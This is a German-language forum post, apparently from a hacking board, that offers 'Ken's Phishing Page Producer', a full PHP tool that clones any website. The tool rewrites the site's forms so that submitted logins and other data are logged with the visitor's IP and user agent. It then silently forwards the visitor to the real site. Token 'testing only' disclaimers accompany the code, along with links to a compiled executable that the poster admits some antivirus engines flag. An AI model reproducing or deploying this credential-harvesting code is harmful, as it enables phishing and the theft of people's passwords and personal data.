Hey,
wir alle wissen, so 'ne olle Phishingseite ist schnell und einfach gemacht. Wem das aber trotzdem zu lange dauert oder wer sich dabei ungeschickt anstellt - für denjenigen habe ich aus Langeweile ein kleines PHP-Skript gebastelt, das die Aufgabe übernimmt. Ich habe es "Phishing Page Producer" getauft.
Was das Ding macht: Ihr füttert das Skript mit einem Link. Es lädt sich die Seite, modifiziert alle Formulare geringfügig und generiert das fertige Phishingseiten-PHP-Skript. Wenn man das nun aufruft und dort Formulareingaben eingibt, schaltet sich das Skript kurz dazwischen und speichert die Daten, um den Betrachter anschließend mit den angegebenen Formulareingaben zur Originalseite weiterzuleiten. Also wie mans eben kennt.
Bedingungen: Keine dummen, unberechtigten Fragen stellen; nichts Illegales damit machen; nur für Testzwecke benutzen; niemand anderem Logindaten oder andere persönliche Informationen stehlen (insbesondere den eigenen Freunden nicht); nicht aus niederen Beweggründen missbrauchen; Weitergabe erlaubt, aber Entwicklerhinweis drinnelassen (also dass das Ding von mir stammt). Wenn also Mist damit gebaut wird, nicht mich dafür verantwortlich machen, das ist nie meine Intention gewesen.
ppp.php
PHP-Code:
<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken's Phishing Page Producer
* v1.0.0
* d10.03.2010
*/
// Wer hat's erfunden?
echo
" ___ ___ ___\n / _ \/ _ \/ _ \\\n / /_)/ /_)/ /_)/".
"\n / ___/ ___/ ___/\n \/ \/ \/\n Ken's Phishing Page P".
"roducer v1.0.0\n\n";
// Eingegebene Daten auslesen
$cmd = "";
foreach($argv as $val)
{
$cmd .= $val." ";
}
preg_match("|https?://[a-zA-Z0-9\.-_+äöü]*\.[a-z]{2,4}/?.*?|", $cmd, $url);
preg_match("|-l [\"']?([^\s]*)[\"']?|", $cmd, $logfile);
preg_match("|-n [\"']?([^\s]*)[\"']?|", $cmd, $name);
!isset($logfile[1]) ? $logs = "logs.txt" : $logs = $logfile[1];
!isset($name[1]) ? $saveto = "ppp-output-".time().".php" : $saveto = str_replace(array("/", ":"), "", $name[1]);
// Fehlermeldung ausgeben falls Seite fehlt
if(!isset($url[0]))
{
echo
" USAGE\n".
" php ".$_SERVER["PHP_SELF"]." [site] (optional parameters)\n".
" [site] - the site you want to copy\n".
" [options] - some extra options...\n".
" -n <name> - name of the generated script\n".
" -l <file> - log file name\n".
"\n".
" EXAMPLE\n".
" php ".$_SERVER["PHP_SELF"]." http://example.com/ -l logs.txt -n out.php\n".
"\n".
" WARNING\n".
" Stealing anyone else's private data or login information\n".
" without his or her permission is illegal and may be pro-\n".
" secuted. However, this script was written for testing\n".
" and demonstration purpose only. The author is no way re-\n".
" sponsable for any misuse. Please think about this before\n".
" using it.\n\n";
exit;
}
// Seite auslesen und Formulare bearbeiten
echo " [*] Loading and analysing ".$url[0]."...\n";
$page = str_replace("<head>", "<head>\n<base href=\"".$url[0]."\" />", file_get_contents($argv[1]));
preg_match_all("|<form.*</form>|Usi", $page, $forms);
echo " [*] ".count($forms[0])." forms will be replaced.\n";
foreach($forms[0] as $val)
$page = str_replace($val, preg_replace('|action=[\'"]?([^\'^"^\s]*)[\'"\s]?([^>]*)>?|', 'action="{{self}}"$2><input type="hidden" name="action" value="$1" />', $val), $page);
// Generiere PHP-Skript
echo " [*] Generating php script.\n";
$script = '
<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken\'s Phishing Page Producer
* generated on '.date("d.m.Y - H:i").' for '.$url[0].'
*/
$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logs = "'.$logs.'"; // file where logs shall be saved to
if(isset($_POST["action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_POST, 1)."\n\n\n";
$h = fopen($logs, "a");
fwrite($h, $add);
fclose($h);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="'.$url[0].'" />
<noscript><meta http-equiv="refresh" content="0; url='.$url[0].'"/></noscript>
</head>
<body onload="document.getElementsByTagName(\'form\')[0].submit();">
<?php
echo \'<form action="\'.$_POST["action"].\'" method="post">\';
unset($_POST["action"]);
foreach($_POST as $key => $val)
{
echo \'<input type="hidden" value="\'.$val.\'" name="\'.$key.\'" />\';
}
echo \'</form>\'."\n";
?>
</body>
</html>
<?php
exit;
}
$page = \''.str_replace(array("'", "{{self}}"), array("\'", '\'.$self.\''), $page).'\';
echo $page;
?>';
// Fertig, abspeichern
echo " [*] Done. Saving file to ".$saveto."...\n";
$h = fopen($saveto, "w");
fwrite($h, $script);
fclose($h);
echo " [*] See you!\n";
exit;
?>
Download: Folgendes ist eine "quasi-kompilierte" ausführbare Konsolenanwendung des Skripts, damit auch diejenigen Freude daran haben, die PHP nicht bei sich installiert haben. Wer mir nicht vertraut, hat Pech gehabt.
[ame]http://rapidshare.com/files/361598734/ppp.exe.html[/ame]
http://ul.to/gtktv9
http://www.virustotal.com/de/analisi...d1d-1268245247 (5/42, kommt wahrscheinlich vom Compiler, oder so)
Beispiel, wie man das Ding benutzt (aufruft):
Code:
/usr/bin/php ppp.php http://free-hack.com/ -l speicherdaten.txt -n free-hack.ppp.php
P.S: Ich habe überlegt, ob das eher hier rein passt, oder eher in die "Toolz"-Sektion, habe mich aber für die Kategorie hier entschieden, da es thematisch einfach näher liegt. Falls jemand was dagegen hat => verschieben.